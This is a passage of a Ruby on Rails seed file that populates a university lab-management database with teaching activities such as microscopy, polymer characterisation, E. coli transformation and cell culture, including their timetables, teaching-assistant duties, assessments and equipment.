marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a476.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a476.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a476.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a477 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"232\").first_or_create!(name: \"Optical Microscopy - Metals I\",\n name_abrv: \"OMMETALS1\", archived: false, in_drive: false, user_id: 3)\n at477 = ActivityTimetable.where(activity_id: a477.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a477.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a477.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a477.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a477.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a477.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a478 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"233\").first_or_create!(name: \"Optical Microscopy - Metals II\",\n name_abrv: \"OMMETALS2\", archived: false, in_drive: false, user_id: 5)\n at478 = ActivityTimetable.where(activity_id: a478.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a478.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a478.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a478.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a478.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a478.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a479 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"234\").first_or_create!(name: \"Optical Microscopy- Ceramics\",\n name_abrv: \"OMCERAMICS\", archived: false, in_drive: false, user_id: 4)\n at479 = ActivityTimetable.where(activity_id: a479.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a479.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a479.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of ceramics samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a479.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a479.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a479.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a480 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 2)\n at480 = ActivityTimetable.where(activity_id: a480.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a480.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a480.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a480.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a480.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a480.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a481 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: true, in_drive: false, user_id: 5)\n at481 = ActivityTimetable.where(activity_id: a481.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a481.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a481.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a481.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a481.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a481.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a482 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"236\").first_or_create!(name: \"SEM/EDX\",\n name_abrv: \"SEM/EDX\", archived: false, in_drive: false, user_id: 5)\n at482 = ActivityTimetable.where(activity_id: a482.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 4, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a482.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a482.id).first_or_create!(criteria: \"\",\n job_desc:\"During this session the students will learn basic theory and practical use of a scanning electron microscope (SEM) for topographical imaging, chemical composition analysis and mapping.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a482.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a482.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a482.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a483 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"237\").first_or_create!(name: \"Study of a Binary Eutectic Alloy of Sn and Bi\",\n name_abrv: \"Phase diagram of Sn and Bi\", archived: false, in_drive: false, user_id: 1)\n at483 = ActivityTimetable.where(activity_id: a483.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 9, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a483.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a483.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a483.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a483.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a483.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a484 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"238\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 2)\n at484 = ActivityTimetable.where(activity_id: a484.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a484.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a484.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a484.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a484.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a484.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a485 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"239\").first_or_create!(name: \"Microscopy of Cast Irons\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at485 = ActivityTimetable.where(activity_id: a485.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"From AMRC: Possibly hybrid with some parts of Metals 1 and Metals 2 - to be determined with lab lead and module leader.\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a485.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a485.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a485.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a485.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a485.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a486 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1610\").first.id, code: \"240\").first_or_create!(name: \"Crystal Maker II\",\n name_abrv: \"CRYS2\", archived: false, in_drive: false, user_id: 1)\n at486 = ActivityTimetable.where(activity_id: a486.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a486.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a486.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a486.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a486.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a486.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a487 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"300\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: false, in_drive: false, user_id: 5)\n at487 = ActivityTimetable.where(activity_id: a487.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a487.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a487.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a487.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a487.id).first_or_create!(cost_per_student: nil, equip_needed: \"Laptops, microscopes, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a487.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a488 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"301\").first_or_create!(name: \"Antibiotic production\",\n name_abrv: \"ANTIBIOTIC\", archived: false, in_drive: false, user_id: 1)\n at488 = ActivityTimetable.where(activity_id: a488.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 180, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a488.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a488.id).first_or_create!(criteria: \"\",\n job_desc:\"Production, purification and analysis of the antibiotic Tylosin from Streptomyces fradiae. Flask cultures, chemical lysis, cholorform extraction, Bradford Assay, absorbance spectroscopy, dry biomass and OD600 measurement.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a488.id).first_or_create!(assess_weight: nil, notes: \"Type TBC\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a488.id).first_or_create!(cost_per_student: nil, equip_needed: \"tbc - shaking incubators, LEV, water baths, 40R centrifuge, Class II (for prep), absorbance plate readers, balances, spectrophotometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a488.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a489 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE372\").first.id, code: \"302\").first_or_create!(name: \"Bioengineering Group Projects\",\n name_abrv: \"BIOGRP\", archived: false, in_drive: false, user_id: 5)\n at489 = ActivityTimetable.where(activity_id: a489.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a489.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a489.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a489.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a489.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a489.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a490 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"303\").first_or_create!(name: \"Bioreactors\",\n name_abrv: \"BIOREACTORS\", archived: false, in_drive: false, user_id: 1)\n at490 = ActivityTimetable.where(activity_id: a490.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 360, takedown_time: 120, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a490.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a490.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Culture and analysis of E.coli using a 1 L bioreactor.\", jobshop_desc: \"claire.johnson@sheffield.ac.uk, h.drouin@sheffield.ac.uk, helen.wright@sheffield.ac.uk\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a490.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 40)\n ActivityTech.where(activity_id: a490.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a490.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a491 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"304\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: false, in_drive: false, user_id: 4)\n at491 = ActivityTimetable.where(activity_id: a491.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a491.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a491.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a491.id).first_or_create!(assess_weight: nil, notes: \"MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a491.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, micropiettes, auto pipettes, bioincubators\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a491.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a492 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"305\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: false, in_drive: false, user_id: 3)\n at492 = ActivityTimetable.where(activity_id: a492.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 9, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 90, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a492.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a492.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a492.id).first_or_create!(assess_weight: nil, notes: \"Includes aspetic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a492.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, plate readers\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a492.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a493 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"306\").first_or_create!(name: \"DNA extraction and analysis\",\n name_abrv: \"DNAEXTRACT\", archived: false, in_drive: false, user_id: 5)\n at493 = ActivityTimetable.where(activity_id: a493.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a493.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a493.id).first_or_create!(criteria: \"Competent user of micropipettes, experience of minipreps or other DNA extraction. Agarose gel electrophoresis.\",\n job_desc:\"Plasmid DNA extraction from E.coli using silica 'miniprep' spin columns. Quantification using SYBR DNA stain and running agarose gel electrophoresis.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a493.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a493.id).first_or_create!(cost_per_student: nil, equip_needed: \"Fluorescent Plate Reader, Microcentrifuges, Gel Doc, Electrophoresis chambers and power packs, vortex mixers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a493.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a494 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"307\").first_or_create!(name: \"E.coli transformation\",\n name_abrv: \"ECOLI\", archived: false, in_drive: false, user_id: 4)\n at494 = ActivityTimetable.where(activity_id: a494.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a494.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a494.id).first_or_create!(criteria: \"Experience of bacterial transformation. Knowledge of molecular biology.\",\n job_desc:\"Transforming E.coli BL21 (DE3) with plasmid DNA.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a494.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a494.id).first_or_create!(cost_per_student: nil, equip_needed: \"bunsen burners, static incubator, shaking incubator, water bath, ice machine\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a494.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a495 